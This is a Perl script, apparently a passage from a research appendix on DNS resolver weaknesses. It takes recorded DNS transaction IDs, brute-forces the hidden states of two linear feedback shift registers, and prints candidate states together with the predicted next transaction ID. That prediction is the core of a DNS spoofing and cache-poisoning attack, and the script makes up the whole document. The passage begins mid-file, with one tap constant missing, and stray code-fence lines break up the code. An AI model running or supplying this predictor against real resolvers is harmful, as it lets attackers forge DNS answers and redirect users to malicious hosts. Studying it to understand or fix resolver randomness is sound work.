# $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)

$initial_guess_bits=6;
@cand_lfsr1=();
@cand_lfsr2=();

use Time::HiRes qw(gettimeofday);

@txid=();

# Read all data from file. It is assumed to be in the format generated
# by the XSL transformation described in appendix A.

$count=0;
open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
while(my $line=<FD>)
{
        # File format: TXID[4 hex] (ignore everything beyond those 4 digits)

        if ($line=~/^([0-9a-fA-F]{4})/x)
        {
                push @txid,hex($1);
                $count++;
        }
        else
        {
                die "ERROR: Can't parse line at count=$count.\n";
        }
}
close(FD);

print "INFO: Found $count DNS queries in file.\n";

sub next_trxid
{
        my ($lfsr1,$lfsr2)=@_;
        my $val;
        for (my $i=0;$i<$count+1;$i++)
        {
                $val=($lfsr1^$lfsr2) & 0xFFFF;
                $skip1=$lfsr1 & 1;
                $skip2=$lfsr2 & 1;
                for (my $j1=0;$j1<=$skip2;$j1++)
                {
                        $lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
                }
                for (my $j2=0;$j2<=$skip1;$j2++)
                {
                        $lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
                }
                #printf "%04x ",$val;
        }
        return $val;
}

sub verify
{
        my ($lfsr1,$width1,$lfsr2,$width2)=@_;

        for (my $i=0;$i<$count;$i++)
```

```
        {
                my $cand=($lfsr1^$lfsr2) & 0xFFFF;
                my $min_width=($width1<=$width2) ? $width1 : $width2;
                $min_width=($min_width<=16) ? $min_width : 16;
                if ($min_width<=0)
                {
                        return 1;
                }
                my $mask=(1<<$min_width)-1;
                if (($cand & $mask) != ($txid[$i] & $mask))
                {
                        return 0;
                }

                $skip1=$lfsr1 & 1;
                $skip2=$lfsr2 & 1;
                for (my $j1=0;$j1<=$skip2;$j1++)
                {
                        $lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
                        if ($width1<32)
                        {
                                $width1--;
                        }
                }
                for (my $j2=0;$j2<=$skip1;$j2++)
                {
                        $lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
                        if ($width2<32)
                        {
                                $width2--;
                        }
                }
        }
        return 1;
}

sub phase2
{
        my ($lfsr1,$width1,$lfsr2,$width2)=@_;

        my $motion_detected=0;

        if ($width1<32)
        {
                my $guess_0=verify($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2);
                my $guess_1=verify($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
                if ($guess_0 ^ $guess_1)
                {
                        #Exactly one is correct. So we know the bit.
                        $motion_detected=1;
                        if ($guess_1)
                        {
                                $lfsr1=$lfsr1|(1<<$width1);
                        }
                        $width1++;
                }
                elsif ((!$guess_0) and (!$guess_1))
                {
                        # Inconsistent state, hence wrong guess in the first place
                        return 0;
                }
        }

        if ($width2<32)
        {
                my $guess_0=verify($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1);
                my $guess_1=verify($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
                if ($guess_0 ^ $guess_1)
                {
                        #Exactly one is correct. So we know the bit.
                        $motion_detected=1;
                        if ($guess_1)
                        {
```

```
                        $lfsr2=$lfsr2|(1<<$width2);
                }
                $width2++;
        }
        elsif ((!$guess_0) and (!$guess_1))
        {
                # Inconsistent state, hence wrong guess in the first place
                return 0;
        }
    }

    if (($width1==32) and ($width2==32))
    {
        # Final verification
        if (verify($lfsr1,32,$lfsr2,32))
        {
                push @cand_lfsr1,$lfsr1;
                push @cand_lfsr2,$lfsr2;
                return 1;
        }
        else
        {
                # false alarm
                return 0;
        }
    }

    if ($motion_detected)
    {
        # At least one width was improved.
        return phase2($lfsr1,$width1,$lfsr2,$width2);
    }
    else
    {
        # Resort to bit guessing.
        if ($width1<32)
        {
                # Guessing another bit in LFSR1 and continuing...
                return
                        phase2($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2)+
                        phase2($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
        }
        else
        {
                # Guessing another bit in LFSR2 and continuing...
                return
                        phase2($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1)+
                        phase2($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
        }
    }
}

my $start_time=gettimeofday();

my $good=0;

for (my $lfsr1=0;$lfsr1<(1<<$initial_guess_bits);$lfsr1++)
{
    my $lfsr2=($txid[0]^$lfsr1) & ((1<<$initial_guess_bits)-1);
    if (verify($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits))
    {
        $good+=
        phase2($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits);
    }
}

my $end_time=gettimeofday();

print "INFO: ".$good." candidates found:\n";
for (my $k=0;$k<$good;$k++)
{
    printf "***  LFSR1=0x%08x  LFSR2=0x%08x  Next_TRXID=0x%04x  ***\n",
        $cand_lfsr1[$k],$cand_lfsr2[$k],
```

```
                next_trxid($cand_lfsr1[$k],$cand_lfsr2[$k]);
}
print "INFO: Elapsed time: ".($end_time-$start_time)." seconds\n";
exit(0);
```